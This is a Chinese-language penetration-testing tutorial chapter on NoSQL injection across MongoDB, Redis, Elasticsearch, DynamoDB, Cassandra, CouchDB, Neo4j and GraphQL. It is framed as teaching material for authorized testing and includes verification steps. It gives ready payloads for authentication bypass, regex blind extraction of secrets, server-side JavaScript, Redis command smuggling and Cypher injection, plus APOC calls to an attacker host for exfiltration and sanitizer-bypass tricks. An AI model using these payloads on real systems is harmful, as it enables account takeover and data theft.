第 5 章 · 02 NoSQL 注入


文档摘要

第 5 章 · 02 NoSQL 注入 本节摘要:NoSQL 注入利用的是「应用把用户输入传给数据库查询」与「数据库引擎如何解释这些输入」之间的错位。与 SQL 注入「打断语法」不同,NoSQL 注入频繁使用操作符注入(MongoDB 的 、 、 )或结构注入(嵌入 JSON 子文档)。攻击面很广:MongoDB 是首要目标,但 Redis、Elasticsearch、DynamoDB、Cassandra、CouchDB、Neo4j 各有不同的注入面;GraphQL 解析器把变量直接透传到后端 NoSQL 过滤器,是常见的跨层向量。本节讲透这些攻击面、四类检测通道、各存储引擎的差异、绕过技巧与验证方法。 内容来源:原项目知识包 ,汉化并套用体系化模板。

第 5 章 · 02 NoSQL 注入

本节摘要:NoSQL 注入利用的是「应用把用户输入传给数据库查询」与「数据库引擎如何解释这些输入」之间的错位。与 SQL 注入「打断语法」不同,NoSQL 注入频繁使用操作符注入(MongoDB 的 $gt$regex$where)或结构注入(嵌入 JSON 子文档)。攻击面很广:MongoDB 是首要目标,但 Redis、Elasticsearch、DynamoDB、Cassandra、CouchDB、Neo4j 各有不同的注入面;GraphQL 解析器把变量直接透传到后端 NoSQL 过滤器,是常见的跨层向量。本节讲透这些攻击面、四类检测通道、各存储引擎的差异、绕过技巧与验证方法。

内容来源:原项目知识包 strix/skills/vulnerabilities/nosql_injection.md,汉化并套用体系化模板。

⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。

学习目标

阅读完本节,你应当能够:

  1. 识别 NoSQL 注入的典型攻击面(JSON body、括号表单字段、GraphQL 变量、ODM 透传)。
  2. 说明四类检测通道在 NoSQL 场景下的形态(报错指纹、布尔神谕、时间盲注、带外回调)。
  3. 掌握 MongoDB 的核心操作符原语($ne$gt$regex$where$function)及其利用方式。
  4. 列举 Redis、Elasticsearch、DynamoDB、Cassandra、CouchDB、Neo4j 各自的注入差异
  5. 掌握常见的绕过技巧(类型强制、编码、结构操纵)。
  6. 用验证步骤确认漏洞、排除误报
  7. 评估 NoSQL 注入的影响等级

一、攻击面

到达查询过滤器的输入形态:

  • JSON body 参数被直接解析进查询对象
  • 表单字段的括号表示法 field[$ne]=,被 Express、PHP 等中间件强制转换成操作符对象
  • URL 编码的 JSON 出现在查询串、头部、cookie 中
  • GraphQL 变量被直接传进解析器层的 NoSQL 过滤器

导致注入的代码模式:

  • 把来自用户输入的原始过滤字典/对象直接交给 find/findOne/aggregate
  • 用字符串拼接构造 Cypher / CQL / Redis 命令,而非驱动的参数化形式
  • ODM(对象文档映射)透传:Mongoose 的 {strict: false}、Morphia 的原始 where()、PyMongo 用未净化的 JSON 字典调用 find()(旧版 eval() 是致命的)
  • 服务端 JavaScript 面:$where$function$accumulator、CouchDB 的 _design 视图

纳入范围的存储引擎:MongoDB(首要)、Redis、Elasticsearch、DynamoDB、Cassandra、CouchDB、Neo4j。Couchbase、DocumentDB、HBase、ScyllaDB、Memcached 遵循同样的操作符注入或命令走私模型——尤其 DocumentDB 原样接受 MongoDB 的 payload。

高价值目标:

  • 登录与认证端点(用户名/密码字段)
  • 搜索与过滤 API(目录、用户搜索、管理员查询)
  • 密码重置与令牌查找流程
  • 按 role、plan、privilege 字段过滤的管理员查询
  • 把原始 JSON 对象当作查询参数接受的端点

💡 核心心法:只要用户输入能以对象/字典的形态到达 NoSQL 查询接口,操作符注入就可能成立。后端是否「把 JSON 子文档当操作符解释」是判断的关键。

二、检测通道

报错型与指纹

  • 发畸形 JSON:{"username": {"$gt": ""}},观察是否返回 MongoErrorCastErrorValidationError
  • 发括号表示法表单数据:username[$gt]=
  • 堆栈跟踪会泄露集合名、字段名、驱动版本

布尔型(操作符探测)

测试操作符是否能透传到数据库:

{"username": {"$gt": ""}, "password": {"$gt": ""}}

如果认证成功或响应发生可观测变化,操作符注入确认。

时间型

依赖 $where 中的 sleep()(旧版 MongoDB)。注意 sleep() 返回 undefined(假值),不会返回文档,只能作为时间神谕观察延迟:

{"$where": "function(){return this.username == 'admin' && sleep(2000)}"}

带外型(OOB / OAST)

NoSQL 原生带外原语较少,但 Neo4j 的 APOC apoc.load.json('http://attacker/x') 可做 SSRF 与外带;Elasticsearch 的 Painless 脚本若可外发请求也能带外。

三、利用方法与技术

MongoDB 认证绕过

针对形如 db.users.findOne({username: input.username, password: input.password}) 的经典登录查询:

JSON body 注入:

{"username": {"$ne": null}, "password": {"$ne": null}}

匹配第一个两个字段都非空的文档——通常是第一个用户/管理员。

表单 body(括号表示法):

username[$ne]=invalid&password[$ne]=invalid

变体:

{"username": "admin", "password": {"$gt": ""}} {"username": {"$regex": ".*"}, "password": {"$gt": ""}} {"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}

通过 $regex 盲取数据

当查询结果不直接回显但可观测(布尔响应、重定向、时延),用 $regex 逐字符提取字段值:

{"username": "admin", "password": {"$regex": "^a"}} {"username": "admin", "password": {"$regex": "^b"}}

对字符空间做二分搜索以减少请求数。适用于任何字符串字段(token、重置码、API key)。

$where JavaScript 注入

$where 操作符启用(MongoDB 7.0+ 默认禁用;4.4~6.x 已弃用但 javascriptEnabled 仍默认 true),可注入任意服务端 JavaScript:

{"$where": "function(){return this.role == 'admin'}"}

$function$accumulator(MongoDB 4.4+)

聚合中的服务端 JavaScript。$function 必须处于表达式上下文($expr$project$addFields),不能作为顶层过滤器:

{"$expr": {"$function": {"body": "function(doc){return doc.role == 'admin'}", "args": ["$$ROOT"], "lang": "js"}}}

$where 受同一个 javascriptEnabled 参数控制,但可通过聚合端点触达——在 $where 被查询层过滤但聚合管道仍受用户影响时很有用。

聚合管道注入

$match$lookup$project 阶段接受与 find() 相同的操作符 payload。用户可控的 $lookup.from 是影响最大的变体——它能把查询转向另一个集合(如从 orders 转到 users),外带跨租户数据。

Redis 命令注入

当 Redis 命令由字符串拼接构造时:

redis.execute_command(f"SET {user_key} {value}")

注入换行符(\r\n)可注入额外的 Redis 命令(RESP 协议注入):

key\r\nSET backdoor attacker_controlled\r\nSET dummy

Elasticsearch 查询串注入

query_stringsimple_query_string 接受 Lucene 语法。用户输入直达时:

q=normal+search → 正常结果 q=* → 全部文档 q=role:admin → 按字段过滤 q=_exists_:password_hash → 存在性探测

通过 _update 的 Painless 脚本注入:若 source 字段用户可控,可注入任意 Painless。

DynamoDB FilterExpression 注入

PartiQL 注入可扩展预期查询:

-- 预期: SELECT * FROM Users WHERE username = 'input' -- 注入: SELECT * FROM Users WHERE username = 'x' OR '1'='1'

Cassandra CQL 注入

CQL 形似 SQL,当输入被拼接而非通过 session.prepare() 绑定时,注入遵循 SQL 模式:

username: ' OR '1'='1' ALLOW FILTERING -- username: 'x' OR token(username) > token('a') ALLOW FILTERING --

CQL 原生没有 SLEEP 或带外原语——检测只能基于布尔/报错。

CouchDB Mango 与视图注入

_find 上的 Mango 选择器接受与 MongoDB 同形的操作符 payload:

POST /db/_find { "selector": {"username": "admin", "password": {"$gt": ""}} }

_design 文档注入——若用户输入流进设计文档的 views.<name>.map,这段 JavaScript 会在每次视图查询时于 Couch 沙箱中服务端执行。

Neo4j Cypher 注入

当用户输入被拼接进 Cypher 而非作为参数($param)传入:

# 漏洞代码 session.run(f"MATCH (u:User {{name: '{name}'}}) RETURN u") # 注入:name = x'}) RETURN u UNION MATCH (u:User) RETURN u //

APOC 滥用(当 apoc.* 过程通过 dbms.security.procedures.unrestricted 启用时):

  • CALL apoc.load.json('http://attacker/x') —— SSRF 与外部数据获取
  • CALL apoc.cypher.run("...", {}) —— 从字符串动态执行查询
  • CALL dbms.security.listUsers() —— 在配置错误的社区版上枚举用户

GraphQL 变量注入

把变量直接透传到后端 NoSQL 过滤器的解析器是常见的链式向量:

query Login($input: UserFilter!) { user(filter: $input) { id role } }

$input 到达 db.users.findOne(input) 时,发送:

{"input": {"username": "admin", "password": {"$ne": ""}}}

用内省(__schema__type)枚举哪些输入类型接受任意对象——它们就是操作符注入的候选。

四、绕过技巧

类型强制:

  • 把操作符当数组发:{"$gt": [""]}——某些驱动会把数组强制转换
  • 在同一请求中混用字符串与对象类型,触发解析器分支差异

编码:

  • URL 编码方括号:username%5B%24ne%5D=xusername[$ne]=x
  • 对位于 JSON 解析后端之前的 WAF 做双重编码

操作符替代:

  • $nin(不在)、$exists: false$type——当 $ne 被过滤时,用这些替代操作符达到同样结果
  • $not 包裹另一个操作符:{"field": {"$not": {"$eq": "value"}}}
  • $expr 配合 $ne 做复杂比较:{"$expr": {"$ne": ["$password", "wrong"]}}

结构操纵:

  • 点号键名 vs 嵌套对象:{"a.b": "c"} vs {"a": {"b": "c"}}——净化器常剥掉一种形式却放过另一种
  • 数组 vs 对象操作符包裹:某些解析器把 ["$or", ...] 当作操作符数组
  • 原型污染:JSON body 中的 __proto__constructor.prototype 键,污染下游查询构建器消费的对象原型
  • $regex 的大小写不敏感标志("$options": "i")扩大匹配范围,捕获大小写敏感过滤器漏掉的内容

💡 绕过的本质:净化器往往只识别一种「操作符形态」(点号键名或嵌套对象二选一),换一种等价表示就能绕过。

五、验证与误报排除

确认一个 NoSQL 注入真实存在的稳妥步骤:

  1. 演示认证绕过:发送操作符 payload,确认登录对任意/第一个账户成功。
  2. 盲取可验证秘密:通过 $regex 盲提取密码哈希、重置令牌、API key。
  3. 至少两个不同 payload:用至少两种不同的操作符 payload 都奏效,排除巧合。
  4. 前后对比:正常请求返回 401,注入请求返回 200。
  5. $where 时间差:对 $where,展示有/无 sleep() 的时间差。

常见误报:

  • 框架级查询构建器在构造查询前把输入强制转为字符串(Mongoose strict 模式开启)
  • 输入净化在到达驱动前剥掉了操作符键
  • 端点接受 JSON 但把 password 字段强制转为字符串——操作符对象变成 [object Object]
  • 由校验错误(而非真实操作符执行)导致的响应差异

六、影响评估

  • 认证绕过:获得对任意或所有账户的访问
  • 完整数据提取:通过盲 regex 枚举提取敏感字段(token、密码哈希、PII)
  • 权限提升:直接查询 admin/superuser 记录
  • 规模化数据外带:通过放宽的 $ne/$regex/$gt 过滤器
  • 服务端 JavaScript 执行:通过 $where 在未打补丁的 MongoDB 实例上

⚠️ NoSQL 注入的影响与 SQL 注入等量齐观——操作符注入达到的效果(认证绕过、数据全量提取、提权)与 SQL 注入一致,绝不能因为「NoSQL」而轻视。

本节要点回顾

  1. 核心心法:NoSQL 注入与 SQLi 同根(用户输入控制查询结构),但通过操作符嵌入而非语法打断实现;MongoDB 是首要目标。
  2. 四大输入形态:JSON body、括号表单字段、URL 编码 JSON、GraphQL 变量;只要能以对象形态到达查询接口就是嫌疑点。
  3. MongoDB 操作符:$ne/$gt(认证绕过)、$regex(盲取)、$where/$function(JS 执行)、$lookup.from(跨集合外带)。
  4. 其他存储差异:Redis(换行命令注入)、Elasticsearch(Lucene 语法 + Painless)、DynamoDB(PartiQL)、Cassandra(CQL 同 SQL)、CouchDB(Mango + _design)、Neo4j(Cypher 拼接 + APOC)。
  5. 绕过本质:净化器常只识别一种操作符形态——类型强制、编码、结构操纵(点号键 vs 嵌套对象)、操作符替代都能绕过。
  6. 验证五步:认证绕过演示、盲取秘密、双 payload、前后对比、时间差;警惕 strict 模式与字段强制转字符串导致的误报。
  7. 影响:从认证绕过到全量数据提取、权限提升、规模化外带、服务端 JS 执行;影响等级与 SQLi 等同。

下一节,我们看 SSTI(服务端模板注入)——当用户输入作为语法而非数据进入模板引擎,最终几乎总是导向 RCE。


发布者: 作者: 灏天文库 转发
评论区 (0)
U